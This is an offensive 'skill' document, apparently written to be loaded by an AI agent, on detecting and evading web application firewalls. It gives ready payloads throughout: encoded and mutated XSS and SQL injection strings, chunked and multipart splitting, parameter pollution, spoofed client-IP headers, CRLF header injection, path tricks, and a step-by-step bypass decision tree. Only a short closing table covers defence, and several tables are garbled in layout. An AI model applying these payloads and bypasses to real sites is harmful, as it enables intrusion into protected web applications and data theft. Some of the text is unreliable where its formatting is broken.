AI LOAD INSTRUCTION: Covers WAF identification, generic bypass categories (encoding, protocol abuse, HTTP/2, parameter pollution), and a decision tree. For product-specific bypasses (Cloudflare, AWS WAF, ModSecurity, Akamai, etc.), load WAF_PRODUCT_MATRIX.md. Base models often suggest basic encoding but miss protocol-level bypasses and WAF behavioral quirks.
char to 8-bit byte narrowing produces 255 Unicode bypass variants per dangerous ASCII byte; re-enables WAF-patched CVEs in Tomcat, Spring, Jetty, Jackson, Fastjson, BCEL, and moreLoad WAF_PRODUCT_MATRIX.md when you need per-product bypass techniques for Cloudflare, AWS WAF, ModSecurity CRS, Akamai, Imperva, F5 BIG-IP, or Sucuri.
Before bypassing, know what you're fighting.
| Tool | Usage |
|---|---|
wafw00f target.com |
Fingerprint WAF vendor from response headers/behavior |
nmap --script=http-waf-detect |
NSE script for WAF detection |
| Manual header inspection | Server, X-CDN, X-Cache, cf-ray (Cloudflare), x-sucuri-id, x-akamai-* |
1. Send benign request → record baseline response (status, headers, body size)
2. Send obvious attack: /?q=<script>alert(1)</script>
3. Compare: 403? Custom block page? Redirect? Connection reset?
4. Block page content reveals WAF: "Cloudflare", "Access Denied (Imperva)", "ModSecurity"
5. If transparent proxy: check response time difference (WAF adds latency)
| Technique | Example | Bypasses |
|---|---|---|
| URL encoding | %3Cscript%3E |
Basic string matching |
| Double URL encoding | %253Cscript%253E |
WAFs that decode once, app decodes twice |
| Unicode encoding | %u003Cscript%u003E |
IIS-specific Unicode normalization |
| HTML entities | <script> or <script> |
WAFs not performing HTML entity decoding |
| Hex encoding (SQL) | 0x756E696F6E = union |
WAFs matching SQL keywords |
| Octal encoding | \74script\76 |
Rare but some parsers handle it |
| Overlong UTF-8 | %C0%BC (invalid encoding for <) |
Legacy parsers with loose UTF-8 handling |
| Mixed case | SeLeCt, uNiOn |
Case-sensitive rule matching |
| Null byte | sel%00ect |
WAFs that stop parsing at null |
Split the payload across HTTP chunks so no single chunk contains the blocked pattern:
POST /search HTTP/1.1
Transfer-Encoding: chunked
3
sel
3
ect
1
4
from
0
WAFs that inspect the full body may not reassemble chunks before matching.
HTTP/2 transmits headers as binary HPACK-encoded frames. Some WAFs only inspect after downgrading to HTTP/1.1:
:method, :path) bypass header-based WAF rulesDifferent servers handle duplicate parameters differently:
| Server | Behavior for ?a=1&a=2 |
|---|---|
| PHP/Apache | Last value: a=2 |
| ASP.NET/IIS | Concatenated: a=1,2 |
| Python/Flask | First value: a=1 |
| Node.js/Express | Array: a=[1,2] |
WAF checks a=1 (benign), app uses a=2 (malicious). Or combine: a=sel&a=ect → ASP.NET sees a=sel,ect.
Headers trusted by some WAFs/apps for client IP:
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
Use case: WAF whitelists internal IPs or has different rule sets per source.
| Technique | Example | Effect |
|---|---|---|
| Dot segments | /./admin or /../target/admin |
WAF sees different path than app |
| Double slash | //admin |
Some normalizers collapse, WAFs may not |
| URL encoding path | /%61dmin |
WAF sees encoded, app decodes |
| Null byte in path | /admin%00.jpg |
Legacy: app truncates at null, WAF sees .jpg |
| Backslash (IIS) | /admin\..\/secret |
IIS treats \ as / |
| Trailing dot/space | /admin. or /admin%20 |
OS-level normalization (Windows) |
| Semicolon (Tomcat) | /admin;jsessionid=x |
Tomcat strips after ;, WAF may not |
WAFs often have format-specific parsers. Switching Content-Type can bypass rules:
Default: Content-Type: application/x-www-form-urlencoded → WAF parses params
Switch: Content-Type: application/json → WAF may not parse JSON body
Switch: Content-Type: multipart/form-data → WAF may not inspect all parts
Switch: Content-Type: text/xml → WAF expects XML, payload in different format
Trick: If app accepts both JSON and form-urlencoded, use JSON — WAFs often have weaker JSON inspection rules.
Content-Type: multipart/form-data; boundary=----WAFBypass
------WAFBypass
Content-Disposition: form-data; name="q"
<script>alert(1)</script>
------WAFBypass--
Variations: long boundary strings, boundary with special characters, missing final boundary, nested multipart.
-- SQL keyword splitting
SEL
ECT * FROM users
-- SQL comment insertion
SEL/**/ECT * FR/**/OM users
UN/**/ION SEL/**/ECT 1,2,3
-- Tab/vertical tab as separator
SELECT\t*\tFROM\tusers
| Blocked | Alternative |
|---|---|
UNION SELECT |
UNION ALL SELECT, UNION DISTINCT SELECT |
OR 1=1 |
OR 2>1, OR 'a'='a', ` |
<script> |
<svg/onload=alert(1)>, <img src=x onerror=alert(1)> |
alert(1) |
prompt(1), confirm(1), print() (Chrome) |
eval() |
Function('code')(), setTimeout('code',0) |
' OR '1'='1 |
' OR 1-- -, '||'1 |
SLEEP(5) |
BENCHMARK(5000000,SHA1('x')), pg_sleep(5) |
GET /path?q=attack HTTP/1.1 ← WAF inspects
vs.
GET http://target.com/path?q=attack HTTP/1.1 ← Absolute URI: some WAFs miss the path
If WAF inspects original headers but app processes injected ones:
X-Custom: value\r\nX-Forwarded-For: 127.0.0.1
1. Establish connection through WAF (normal request)
2. On same keep-alive connection, send attack request
3. Some WAFs reduce inspection on subsequent requests in same connection
Payload blocked by WAF?
├── Identify WAF (wafw00f, response headers, block page)
│
├── Try encoding bypasses
│ ├── URL encode payload → still blocked?
│ ├── Double URL encode → still blocked?
│ ├── Unicode/overlong UTF-8 → still blocked?
│ ├── Mixed case keywords → still blocked?
│ └── HTML entities (for XSS) → still blocked?
│
├── Try protocol-level bypasses
│ ├── Switch Content-Type (JSON, multipart, XML)
│ │ └── App accepts alternate format? → re-send payload
│ ├── HTTP Parameter Pollution (duplicate params)
│ ├── Chunked Transfer-Encoding to split payload
│ ├── HTTP/2 direct if available (binary framing bypass)
│ └── Request line: absolute URI format
│
├── Try path-based bypasses
│ ├── Path normalization (/./path, //path, ;param)
│ ├── Different HTTP method (POST vs PUT vs PATCH)
│ └── Alternate endpoint serving same function
│
├── Try payload mutation
│ ├── SQL: comments (/**/), alternative functions, hex literals
│ ├── XSS: alternative tags/events, JS template literals
│ ├── RCE: wildcard abuse, string concatenation, variable expansion
│ └── Check WAF_PRODUCT_MATRIX.md for vendor-specific mutations
│
├── Try IP-source bypass
│ ├── X-Forwarded-For / True-Client-IP spoofing
│ ├── Access origin server directly (bypass CDN)
│ └── Find origin IP (Shodan, historical DNS, email headers)
│
└── Try request smuggling to skip WAF entirely
└── See ../request-smuggling/SKILL.md
| Measure | Notes |
|---|---|
| WAF + application-level input validation | WAF is a layer, not a fix |
| Parameterized queries | Eliminates SQLi regardless of WAF |
| CSP + output encoding | Eliminates XSS regardless of WAF |
| Regularly update WAF rules | Vendor signatures lag behind new bypasses |
| Deny by default, not block-list | Allowlist valid input patterns |
| Log and alert on WAF blocks | Bypass attempts are visible in logs |